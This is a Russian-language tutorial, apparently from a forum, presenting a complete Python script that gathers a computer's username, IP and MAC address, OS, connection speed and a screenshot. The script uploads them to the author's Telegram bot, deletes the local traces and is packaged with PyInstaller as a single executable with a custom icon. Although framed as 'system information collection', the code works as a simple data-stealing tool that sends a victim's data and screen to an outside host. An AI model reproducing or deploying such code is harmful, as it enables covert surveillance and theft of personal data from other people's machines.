Введение
Приветствую всех у кого есть время читать данный контент. Совсем недавно, еще в этом месяце меня посетила очень интересная идея. Сколько информации о системе можно собрать используя Python? Многие начнут размышлять и вывод будет достаточно большим, ведь собрать можно многое. Начиная от обычного название системы и заканчивая IP и MAC адресом (кстати как это собрать я тоже покажу). Поэтому, чтобы не оставлять данную идею в "мечтах" я принялся за ее реализацию. Приступим.
Подайте мне код!
Прежде всего любое написание программ начинается с импорта библиотек. Лично я использую для написания данного когда PyCharm. Надеюсь установить данную IDE у вас не составит проблем. Открываем программу, создаем новый файл и пишем:
Python:
import getpass
import os
import socket
import sys
from datetime import datetime, timezone
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
from PIL import Image
Если у вас пишет ошибку при импорте библиотек то нажав на значок ошибки и выбрав функцию на скриншоте нужные компоненты установятся самостоятельно (объяснение для тех, кто не работал в данной среде):
Продолжаем писать наш код, а именно подключим Telegram бота, который будет отправлять нам наши данные.
Python:
bot = telebot.TeleBot("здесь токен бота")
Объяснение в том, как создать самого бота не требуются, поэтому давайте назначим наши переменные, что будут собирать информацию для нас:
Python:
start = datetime.now() # Засекает время работы (у всех оно разное)
name = getpass.getuser() # Узнаем имя пользователя в системе
ip = socket.gethostbyname(socket.getfqdn()) # Берем ip-адрес
mac = get_mac() # Собираем MAC адрес
ost = sys.platform
inet = Speedtest() # Узнаем скорость интернет-соединения
download = float(str(inet.download())[0:2] + "."
+ str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "."
+ str(round(inet.download(), 2))[1]) * 0.125
time = datetime.now(timezone.utc).astimezone() # Точное время дает
os.getcwd() # Смотрим операционную систему
os.chdir(r" ") # В скобочках расположения для временного хранения данных
screen = pyautogui.screenshot("screenshot.jpg") # Скриншот
ends = datetime.now() # Завершает нарутку времени
workspeed = format(ends - start)
os.getcwd()
os.chdir(r" ")
if ost == "win32":
ost = str("Windows")
elif ost == "linux":
ost = str("Linux")
elif ost == "darwin":
ost = str("Mac OS")
else:
pass
Комментарии к коду я оставил, поэтому особого времени на объяснения уделять не стану (если есть вопрос или не работает код пиши в комменты). А вот теперь сама суть, отправка данных и их запись, ведь здесь возникало много проблем. Создадим txt файл для записи наших данных:
Python:
file = open("info.txt", "w") # Создаем и открываем
file.write(f'[================================================]\n Operating System: {ost}\n Username: {name}\n IP adress: {ip}\n MAC adress: {mac}\n Timezone: {time}\n Work speed: {workspeed}\n[================================================]')
file.close() # Записываем и закрываем
Отлично! Данные сохранены, теперь остается их отправить. В чем же проблема? Изначально она заключалось в открытии и закрытии сессии telegram-бота. Ведь установить соединение было легко, а создать автоматическое закрытие после отправки проблематично. Но итоги полноценной работы вы можете видеть ниже:
Python:
text = "Screenshot" # Надпись для отправки
@bot.message_handler(commands=['start']) # Команда юзера
def start_message(message):
upfile = open("\info.txt", "rb") # Октрытие файлов
uphoto = open("\screenshot.jpg", "rb")
bot.send_photo(message.chat.id, uphoto, text) # Отправка файлов
bot.send_document(message.chat.id, upfile)
upfile.close() # Закрытие всего
uphoto.close()
os.remove("info.txt") # Удаление
os.remove("screenshot.jpg")
bot.stop_polling() # Остановка работы
bot.polling() # Запуск бота
Да, вот таким необычным способом мы отправляем наши данные. Но, чтобы они дошли перед тем как запустить наш готовый файл требуется отправить боту команду /start. Иначе он не поймет куда отправлять все это добро. Теперь тестируем работу нашей программы. Ошибок никаких быть не должно если все импортировано и вы используете Python 3.8 и выше (на этих версиях писался весь код).
Чтобы собрать наш готовый файл, открываем консоль и пишем:
pip install pyinstaller
pyinstaller -i путь до иконки --onefile имя_файла.py
Готово! Теперь запускаем наше добро и любуемся результатом.
Завершение
В этой статье я показал то, как собрать информацию о системе используя язык Python. Так же полноценные труды данной работы вы можете оценить на моем Github'е. Надеюсь данный код принесет вам пользу в сборе и анализе данных.
Весь код программы:
Python:
import getpass
import os
import socket
import sys
from datetime import datetime, timezone
from uuid import getnode as get_mac
import pyautogui
from speedtest import Speedtest
import telebot
from PIL import Image
bot = telebot.TeleBot("")
start = datetime.now()
name = getpass.getuser()
ip = socket.gethostbyname(socket.getfqdn())
mac = get_mac()
ost = sys.platform
inet = Speedtest()
download = float(str(inet.download())[0:2] + "."
+ str(round(inet.download(), 2))[1]) * 0.125
uploads = float(str(inet.upload())[0:2] + "."
+ str(round(inet.download(), 2))[1]) * 0.125
time = datetime.now(timezone.utc).astimezone()
os.getcwd()
os.chdir(r" ")
screen = pyautogui.screenshot("screenshot.jpg")
ends = datetime.now()
workspeed = format(ends - start)
os.getcwd()
os.chdir(r" ")
if ost == "win32":
ost = str("Windows")
elif ost == "linux":
ost = str("Linux")
elif ost == "darwin":
ost = str("Mac OS")
else:
pass
file = open("info.txt", "w")
file.write(f'[================================================]\n Operating System: {ost}\n Username: {name}\n IP adress: {ip}\n MAC adress: {mac}\n Timezone: {time}\n Work speed: {workspeed}\n[================================================]')
file.close()
text = "Screenshot"
@bot.message_handler(commands=['start'])
def start_message(message):
upfile = open("\info.txt", "rb")
uphoto = open("\screenshot.jpg", "rb")
bot.send_photo(message.chat.id, uphoto, text)
bot.send_document(message.chat.id, upfile)
upfile.close()
uphoto.close()
os.remove("info.txt")
os.remove("screenshot.jpg")
bot.stop_polling()
bot.polling()